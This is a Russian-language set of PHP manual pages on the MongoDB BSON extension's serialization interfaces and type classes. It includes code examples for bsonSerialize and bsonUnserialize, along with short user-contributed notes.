Пользователям рекомендуется включать свойство _id (например, MongoDB\BSON\ObjectId, инициализированный в вашем конструкторе) при возврате данных для корневого документа BSON; в противном случае драйвер или база данных должны будут сгенерировать MongoDB\BSON\ObjectId при вставке или слиянии документа, соответственно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

array или stdClass для сериализации в виде массива или документа BSON.

Примеры

Пример #1 MongoDB\BSON\Serializable::bsonSerialize() возвращение ассоциативного массива для корневого документа

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
private $id;

function __construct()
{
$this->id = new MongoDB\BSON\ObjectId;
}

function bsonSerialize(): array
{
return ['_id' => $this->id, 'foo' => 'bar'];
}
}

$bson = MongoDB\BSON\fromPHP(new MyDocument);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

Результатом выполнения данного примера будет что-то подобное:

{ "_id" : { "$oid" : "56cccdcada14d8755a58c591" }, "foo" : "bar" }

Пример #2 MongoDB\BSON\Serializable::bsonSerialize() возвращение последовательного массива для корневого документа

<?php

class MyArray implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return [1, 2, 3];
}
}

$bson = MongoDB\BSON\fromPHP(new MyArray);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

Результат выполнения данного примера:

{ "0" : 1, "1" : 2, "2" : 3 }

Пример #3 MongoDB\BSON\Serializable::bsonSerialize() возвращение ассоциативного массива для поля документа

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return ['foo' => 'bar'];
}
}

$value = ['document' => new MyDocument];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

Результат выполнения данного примера:

{ "document" : { "foo" : "bar" } }

Пример #4 MongoDB\BSON\Serializable::bsonSerialize() возвращение последовательного массива для поля документа

<?php

class MyArray implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return [1, 2, 3];
}
}

$value = ['array' => new MyArray];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

Результат выполнения данного примера:

{ "array" : [ 1, 2, 3 ] }

Смотрите также

  • MongoDB\BSON\Unserializable::bsonUnserialize() - Создаёт объект из массива BSON или документа
  • MongoDB\BSON\Persistable
  • Постоянные данные

User Contributed Notes

Anonymous 11-Mar-2016 07:11
This documentation seems to be obsolete because I tried the first example and it doesn't convert the objectId to a string.

This seems to be more current documentation but I can't figure out how to get bson to json

http://mongodb.github.io/mongo-php-library/api/source-class-MongoDB.Model.BSONDocument.html#48-57


Интерфейс MongoDB\BSON\Unserializable

(mongodb >=1.0.0)

Введение

Классы, которые реализуют этот интерфейс, могут быть указаны в карте типов для десериализации массивов и документов BSON (как корневых, так и встроенных).

Обзор интерфейсов

class MongoDB\BSON\Unserializable {
/* Методы */
abstract public bsonUnserialize(array $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\Unserializable::bsonUnserialize — Создаёт объект из массива BSON или документа

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект из массива BSON или документа

  • « MongoDB\BSON\Unserializable
  • MongoDB\BSON\BinaryInterface »
  • PHP Manual
  • MongoDB\BSON\Unserializable
  • Создаёт объект из массива BSON или документа

MongoDB\BSON\Unserializable::bsonUnserialize

(mongodb >=1.0.0)

MongoDB\BSON\Unserializable::bsonUnserialize — Создаёт объект из массива BSON или документа

Описание

abstract public MongoDB\BSON\Unserializable::bsonUnserialize(array $data): void

Вызывается во время десериализации объекта из BSON. Свойства массива BSON или документа будут переданы в метод в виде массива (array).

Не забудьте проверить свойство _id при обработке данных из документа BSON.

Замечание: Данный метод служит в качестве конструктора объекта Метод __construct() не будет вызываться после этого метода.

Список параметров

data (array)

Свойства в массиве BSON или в документе.

Возвращаемые значения

Возвращаемое значение этого метода игнорируется.

Примеры

Пример #1 Пример использования MongoDB\BSON\Unserializable::bsonUnserialize()

<?php

class MyDocument implements MongoDB\BSON\Unserializable
{
private $data = [];

function bsonUnserialize(array $data): void
{
$this->data = $data;
}
}

$bson = MongoDB\BSON\fromJSON('{ "foo": "bar" }');
$value = MongoDB\BSON\toPHP($bson, ['root' => 'MyDocument']);
var_dump($value);

?>

Результат выполнения данного примера:

object(MyDocument)#1 (1) {
  ["data":"MyDocument":private]=>
  array(1) {
    ["foo"]=>
    string(3) "bar"
  }
}

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON
  • MongoDB\BSON\Persistable
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\BinaryInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Binary, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\BinaryInterface {
/* Методы */
abstract public getData(): string
abstract public getType(): int
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\BinaryInterface::getData — Возвращает данные BinaryInterface
  • MongoDB\BSON\BinaryInterface::getType — Возвращает тип BinaryInterface
  • MongoDB\BSON\BinaryInterface::__toString — Возвращает данные BinaryInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные BinaryInterface

  • « MongoDB\BSON\BinaryInterface
  • MongoDB\BSON\BinaryInterface::getType »
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Возвращает данные BinaryInterface

MongoDB\BSON\BinaryInterface::getData

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getData — Возвращает данные BinaryInterface

Описание

abstract public MongoDB\BSON\BinaryInterface::getData(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные BinaryInterface.

Смотрите также

  • MongoDB\BSON\Binary::getData() - Возвращает данные Binary

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип BinaryInterface

  • « MongoDB\BSON\BinaryInterface::getData
  • MongoDB\BSON\BinaryInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Возвращает тип BinaryInterface

MongoDB\BSON\BinaryInterface::getType

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getType — Возвращает тип BinaryInterface

Описание

abstract public MongoDB\BSON\BinaryInterface::getType(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает тип BinaryInterface.

Смотрите также

  • MongoDB\BSON\Binary::getType() - Возвращает тип Binary

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные BinaryInterface

  • « MongoDB\BSON\BinaryInterface::getType
  • MongoDB\BSON\Decimal128Interface »
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Возвращает данные BinaryInterface

MongoDB\BSON\BinaryInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::__toString — Возвращает данные BinaryInterface

Описание

abstract public MongoDB\BSON\BinaryInterface::__toString(): string

Метод является псевдонимом: MongoDB\BSON\BinaryInterface::getData().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные BinaryInterface.

Смотрите также

  • MongoDB\BSON\BinaryInterface::getData() - Возвращает данные BinaryInterface
  • MongoDB\BSON\Binary::__toString() - Возвращает данные Binary

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\Decimal128Interface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Decimal128, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\Decimal128Interface {
/* Методы */
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\Decimal128Interface::__toString — Возвращает строковое представление Decimal128Interface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление Decimal128Interface

  • « MongoDB\BSON\Decimal128Interface
  • MongoDB\BSON\JavascriptInterface »
  • PHP Manual
  • MongoDB\BSON\Decimal128Interface
  • Возвращает строковое представление Decimal128Interface

MongoDB\BSON\Decimal128Interface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\Decimal128Interface::__toString — Возвращает строковое представление Decimal128Interface

Описание

abstract public MongoDB\BSON\Decimal128Interface::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Decimal128Interface.

Смотрите также

  • MongoDB\BSON\Decimal128::__toString() - Возвращает строковое представление Decimal128

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\JavascriptInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Javascript, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\JavascriptInterface {
/* Методы */
abstract public getCode(): string
abstract public getScope(): ?object
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\JavascriptInterface::getCode — Возвращает код JavascriptInterface
  • MongoDB\BSON\JavascriptInterface::getScope — Возвращает области видимости документа JavascriptInterface
  • MongoDB\BSON\JavascriptInterface::__toString — Возвращает код JavascriptInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код JavascriptInterface

  • « MongoDB\BSON\JavascriptInterface
  • MongoDB\BSON\JavascriptInterface::getScope »
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Возвращает код JavascriptInterface

MongoDB\BSON\JavascriptInterface::getCode

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getCode — Возвращает код JavascriptInterface

Описание

abstract public MongoDB\BSON\JavascriptInterface::getCode(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код JavascriptInterface.

Смотрите также

  • MongoDB\BSON\Javascript::getCode() - Возвращает код JavaScript

User Contributed Notes

There are no user contributed notes for this page.


Возвращает области видимости документа JavascriptInterface

  • « MongoDB\BSON\JavascriptInterface::getCode
  • MongoDB\BSON\JavascriptInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Возвращает области видимости документа JavascriptInterface

MongoDB\BSON\JavascriptInterface::getScope

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getScope — Возвращает области видимости документа JavascriptInterface

Описание

abstract public MongoDB\BSON\JavascriptInterface::getScope(): ?object

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает области видимости документа JavascriptInterface.

Смотрите также

  • MongoDB\BSON\Javascript::getScope() - Возвращает область документа JavaScript

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код JavascriptInterface

  • « MongoDB\BSON\JavascriptInterface::getScope
  • MongoDB\BSON\MaxKeyInterface »
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Возвращает код JavascriptInterface

MongoDB\BSON\JavascriptInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::__toString — Возвращает код JavascriptInterface

Описание

abstract public MongoDB\BSON\JavascriptInterface::__toString(): string

Метод является псевдонимом: MongoDB\BSON\JavascriptInterface::getCode().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код JavascriptInterface.

Смотрите также

  • MongoDB\BSON\JavascriptInterface::getCode() - Возвращает код JavascriptInterface
  • MongoDB\BSON\Javascript::__toString() - Возвращает код JavaScript

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\MaxKeyInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Javascript, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\MaxKeyInterface {
}

Этот интерфейс не имеет методов.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\MinKeyInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Javascript, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\MinKeyInterface {
}

Этот интерфейс не имеет методов.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\ObjectIdInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован с помощью MongoDB\BSON\ObjectId, но также может быть использован для в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\ObjectIdInterface {
/* Методы */
abstract public getTimestamp(): int
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\ObjectIdInterface::getTimestamp — Возвращает компонент отметки времени ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString — Возвращает шестнадцатеричное представление ObjectIdInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает компонент отметки времени ObjectIdInterface

  • « MongoDB\BSON\ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Возвращает компонент отметки времени ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::getTimestamp — Возвращает компонент отметки времени ObjectIdInterface

Описание

abstract public MongoDB\BSON\ObjectIdInterface::getTimestamp(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает компонент отметки времени ObjectIdInterface.

Смотрите также

  • MongoDB\BSON\ObjectId::getTimestamp() - Возвращает метку времени ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шестнадцатеричное представление ObjectIdInterface

  • « MongoDB\BSON\ObjectIdInterface::getTimestamp
  • MongoDB\BSON\RegexInterface »
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Возвращает шестнадцатеричное представление ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::__toString — Возвращает шестнадцатеричное представление ObjectIdInterface

Описание

abstract public MongoDB\BSON\ObjectIdInterface::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает шестнадцатеричное представление ObjectIdInterface.

Смотрите также

  • MongoDB\BSON\ObjectId::__toString() - Возвращает шестнадцатеричное представление ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\RegexInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован MongoDB\BSON\Regex, в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\RegexInterface {
/* Методы */
abstract public getFlags(): string
abstract public getPattern(): string
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\RegexInterface::getFlags — Возвращает флаги RegexInterface
  • MongoDB\BSON\RegexInterface::getPattern — Возвращает шаблон RegexInterface
  • MongoDB\BSON\RegexInterface::__toString — Возвращает строковое представление RegexInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает флаги RegexInterface

  • « MongoDB\BSON\RegexInterface
  • MongoDB\BSON\RegexInterface::getPattern »
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Возвращает флаги RegexInterface

MongoDB\BSON\RegexInterface::getFlags

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getFlags — Возвращает флаги RegexInterface

Описание

abstract public MongoDB\BSON\RegexInterface::getFlags(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает флаги RegexInterface.

Смотрите также

  • MongoDB\BSON\Regex::getFlags() - Возвращает флаги Regex

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шаблон RegexInterface

  • « MongoDB\BSON\RegexInterface::getFlags
  • MongoDB\BSON\RegexInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Возвращает шаблон RegexInterface

MongoDB\BSON\RegexInterface::getPattern

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getPattern — Возвращает шаблон RegexInterface

Описание

abstract public MongoDB\BSON\RegexInterface::getPattern(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает шаблон RegexInterface.

Смотрите также

  • MongoDB\BSON\Regex::getPattern() - Возвращает шаблон Regex

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление RegexInterface

  • « MongoDB\BSON\RegexInterface::getPattern
  • MongoDB\BSON\TimestampInterface »
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Возвращает строковое представление RegexInterface

MongoDB\BSON\RegexInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::__toString — Возвращает строковое представление RegexInterface

Описание

abstract public MongoDB\BSON\RegexInterface::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление RegexInterface.

Смотрите также

  • MongoDB\BSON\Regex::__toString() - Возвращает строковое представление Regex

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\TimestampInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован с помощью MongoDB\BSON\Timestamp, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\TimestampInterface {
/* Методы */
abstract public getIncrement(): int
abstract public getTimestamp(): int
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\TimestampInterface::getIncrement — Возвращает инкрементный компонент TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp — Возвращает компонент отметки времени TimestampInterface
  • MongoDB\BSON\TimestampInterface::__toString — Возвращает строковое представление TimestampInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает инкрементный компонент TimestampInterface

  • « MongoDB\BSON\TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp »
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Возвращает инкрементный компонент TimestampInterface

MongoDB\BSON\TimestampInterface::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getIncrement — Возвращает инкрементный компонент TimestampInterface

Описание

abstract public MongoDB\BSON\TimestampInterface::getIncrement(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает инкрементный компонент TimestampInterface.

Внимание

В 32-битных системах этот метод может возвращать отрицательное число. Хотя части приращения и отметки времени типа отметки времени BSON состоят из двух 32-разрядных значений без знака, PHP не может представлять их на 32-разрядных платформах.

Смотрите также

  • MongoDB\BSON\Timestamp::getIncrement() - Возвращает компонент приращения Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Возвращает компонент отметки времени TimestampInterface

  • « MongoDB\BSON\TimestampInterface::getIncrement
  • MongoDB\BSON\TimestampInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Возвращает компонент отметки времени TimestampInterface

MongoDB\BSON\TimestampInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getTimestamp — Возвращает компонент отметки времени TimestampInterface

Описание

abstract public MongoDB\BSON\TimestampInterface::getTimestamp(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает компонент отметки времени TimestampInterface.

Внимание

В 32-битных системах этот метод может возвращать отрицательное число. Хотя части приращения и отметки времени типа отметки времени BSON состоят из двух 32-разрядных значений без знака, PHP не может представлять их на 32-разрядных платформах.

Смотрите также

  • MongoDB\BSON\Timestamp::getTimestamp() - Возвращает компонент отметки времени Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление TimestampInterface

  • « MongoDB\BSON\TimestampInterface::getTimestamp
  • MongoDB\BSON\UTCDateTimeInterface »
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Возвращает строковое представление TimestampInterface

MongoDB\BSON\TimestampInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::__toString — Возвращает строковое представление TimestampInterface

Описание

abstract public MongoDB\BSON\TimestampInterface::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление TimestampInterface.

Смотрите также

  • MongoDB\BSON\Timestamp::__toString() - Возвращает строковое представление Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\BSON\UTCDateTimeInterface

(mongodb >=1.3.0)

Введение

Этот интерфейс реализован с помощью MongoDB\BSON\UTCDateTime, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\BSON\UTCDateTimeInterface {
/* Методы */
abstract public toDateTime(): DateTime
abstract public __toString(): string
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Возвращает представление DateTime этого UTCDateTimeInterface
  • MongoDB\BSON\UTCDateTimeInterface::__toString — Возвращает строковое представление UTCDateTimeInterface

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление DateTime этого UTCDateTimeInterface

  • « MongoDB\BSON\UTCDateTimeInterface
  • MongoDB\BSON\UTCDateTimeInterface::__toString »
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Возвращает представление DateTime этого UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::toDateTime

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::toDateTime — Возвращает представление DateTime этого UTCDateTimeInterface

Описание

abstract public MongoDB\BSON\UTCDateTimeInterface::toDateTime(): DateTime

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает представление DateTime этого UTCDateTimeInterface. Возвращённый DateTime должен использовать часовой пояс UTC.

Смотрите также

  • MongoDB\BSON\UTCDateTime::toDateTime() - Возвращает представление DateTime этого UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление UTCDateTimeInterface

  • « MongoDB\BSON\UTCDateTimeInterface::toDateTime
  • MongoDB\BSON\DBPointer »
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Возвращает строковое представление UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::__toString — Возвращает строковое представление UTCDateTimeInterface

Описание

abstract public MongoDB\BSON\UTCDateTimeInterface::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление UTCDateTimeInterface.

Смотрите также

  • MongoDB\BSON\UTCDateTime::__toString() - Возвращает строковое представление UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\DBPointer (устаревший)

(mongodb >=1.4.0)

Введение

Тип BSON для типа "DBPointer". Этот тип BSON устарел, и этот класс не может быть создан. Он будет создан из типа BSON DBPointer во время преобразования BSON в PHP, а также при преобразовании обратно в BSON при хранении документов в базе данных.

Обзор классов

class MongoDB\BSON\DBPointer implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.

Содержание

  • MongoDB\BSON\DBPointer::__construct — Создаёт новый DBPointer (не используется)
  • MongoDB\BSON\DBPointer::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\DBPointer::serialize — Сериализует DBPointer
  • MongoDB\BSON\DBPointer::__toString — Возвращает пустую строку
  • MongoDB\BSON\DBPointer::unserialize — Десериализует DBPointer

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый DBPointer (не используется)

  • « MongoDB\BSON\DBPointer
  • MongoDB\BSON\DBPointer::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Создаёт новый DBPointer (не используется)

MongoDB\BSON\DBPointer::__construct

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__construct — Создаёт новый DBPointer (не используется)

Описание

final private MongoDB\BSON\DBPointer::__construct()

Объекты MongoDB\BSON\DBPointer создаются путём преобразования из устаревшего типа BSON и не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\DBPointer::__construct
  • MongoDB\BSON\DBPointer::serialize »
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\DBPointer::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\DBPointer::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\DBPointer.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует DBPointer

  • « MongoDB\BSON\DBPointer::jsonSerialize
  • MongoDB\BSON\DBPointer::__toString »
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Сериализует DBPointer

MongoDB\BSON\DBPointer::serialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::serialize — Сериализует DBPointer

Описание

final public MongoDB\BSON\DBPointer::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\DBPointer.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\DBPointer::unserialize() - Десериализует DBPointer
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пустую строку

  • « MongoDB\BSON\DBPointer::serialize
  • MongoDB\BSON\DBPointer::unserialize »
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Возвращает пустую строку

MongoDB\BSON\DBPointer::__toString

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__toString — Возвращает пустую строку

Описание

final public MongoDB\BSON\DBPointer::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает пустую строку.

Смотрите также

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Десериализует DBPointer

  • « MongoDB\BSON\DBPointer::__toString
  • MongoDB\BSON\Int64 »
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Десериализует DBPointer

MongoDB\BSON\DBPointer::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::unserialize — Десериализует DBPointer

Описание

final public MongoDB\BSON\DBPointer::unserialize(string $data): void

Список параметров

data

Сериализированный MongoDB\BSON\DBPointer.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

